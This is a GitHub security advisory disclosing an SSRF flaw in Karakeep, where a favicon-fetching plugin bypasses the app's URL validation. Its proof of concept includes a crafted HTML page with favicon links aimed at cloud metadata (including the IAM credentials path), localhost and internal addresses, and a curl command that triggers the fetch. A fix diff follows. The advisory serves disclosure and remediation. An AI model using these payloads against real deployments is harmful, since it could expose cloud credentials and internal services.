GHSA-7rx4-c5vx-g8w3: @karakeep/sdk Karakeep SDK Has SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rx4-c5vx-g8w3",
  "modified" : "2026-05-14T18:26:02Z",
  "published" : "2026-05-14T18:26:02Z",
  "aliases" : [ ],
  "summary" : "Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections",
  "details" : "## Summary\n\nThe `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `<link rel=\"icon\">` tag.\n\n## Details\n\n### Protected path (correct)\n\nKarakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.\n\n### Unprotected path (vulnerability)\n\nAfter fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `<link rel=\"icon\">` elements and reading their `href` attribute.\n\nThe plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely:\n\n```typescript\n// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73\nmetascraperLogo({\n    gotOpts: {\n      agent: {\n        http: serverConfig.proxy.httpProxy\n          ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))\n          : undefined,\n        https: serverConfig.proxy.httpsProxy\n          ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))\n          : undefined,\n      },\n    },\n  }),\n```\n\nOnly proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML.\n\n### Data flow\n\n```\n1. User creates bookmark → URL validated by validateUrl() ✓\n2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓\n3. HTML passed to parseHtmlSubprocess via stdin\n4. metascraper-logo-favicon parses <link rel=\"icon\"> tags from HTML\n5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗\n6. Server makes HTTP GET to attacker-controlled internal URL\n```\n\n### Comparison\n\nThe application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening (\"Stricter SSRF validation\" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.\n\n## PoC\n\n### 1. Set up a malicious page on a public URL\n\n```html\n<!-- Hosted at https://attacker.example.com/ssrf.html -->\n<html>\n<head>\n  <title>Innocent Page</title>\n  <link rel=\"icon\" href=\"http://169.254.169.254/latest/meta-data/\" sizes=\"256x256\">\n  <link rel=\"icon\" href=\"http://127.0.0.1:3000/api/v1/users/whoami\" sizes=\"128x128\">\n  <link rel=\"icon\" href=\"http://192.168.1.1/admin\" sizes=\"64x64\">\n</head>\n<body><p>Normal content</p></body>\n</html>\n```\n\n### 2. Create a bookmark via the API\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/bookmarks \\\n  -H \"Authorization: Bearer YOUR_API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": \"link\", \"url\": \"https://attacker.example.com/ssrf.html\"}'\n```\n\n### 3. Result\n\nThe main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to:\n- `http://169.254.169.254/latest/meta-data/` (AWS IMDS)\n- `http://127.0.0.1:3000/api/v1/users/whoami` (localhost)\n- `http://192.168.1.1/admin` (internal network)\n\nThese requests bypass all SSRF protections.\n\nVerification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.\n\n## Impact\n\n- **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials.\n- **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.\n- **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker.\n- **Bypass of explicit security controls**: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.\n\n## Suggested Fix\n\n```diff\n// apps/workers/scripts/parseHtmlSubprocess.ts\n+ import { validateUrl } from \"network\";\n+\n+ // Create a got hook that validates URLs before requests\n+ const ssrfHook = {\n+   beforeRequest: [\n+     async (options) => {\n+       const result = await validateUrl(options.url.toString(), false);\n+       if (!result.ok) {\n+         throw new Error(`SSRF blocked: ${result.reason}`);\n+       }\n+     }\n+   ]\n+ };\n+\n  metascraperLogo({\n      gotOpts: {\n+       hooks: ssrfHook,\n        agent: { ... },\n      },\n  }),\n```\n\nAlternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@karakeep/sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.32.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/security/advisories/GHSA-7rx4-c5vx-g8w3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/pull/2763"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/commit/3dc321e7d49aa3a1a2493637fb2ee21616fe5fd9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/karakeep-app/karakeep"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/karakeep-app/karakeep/releases/tag/v0.32.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T18:26:02Z",
    "nvd_published_at" : null
  }
}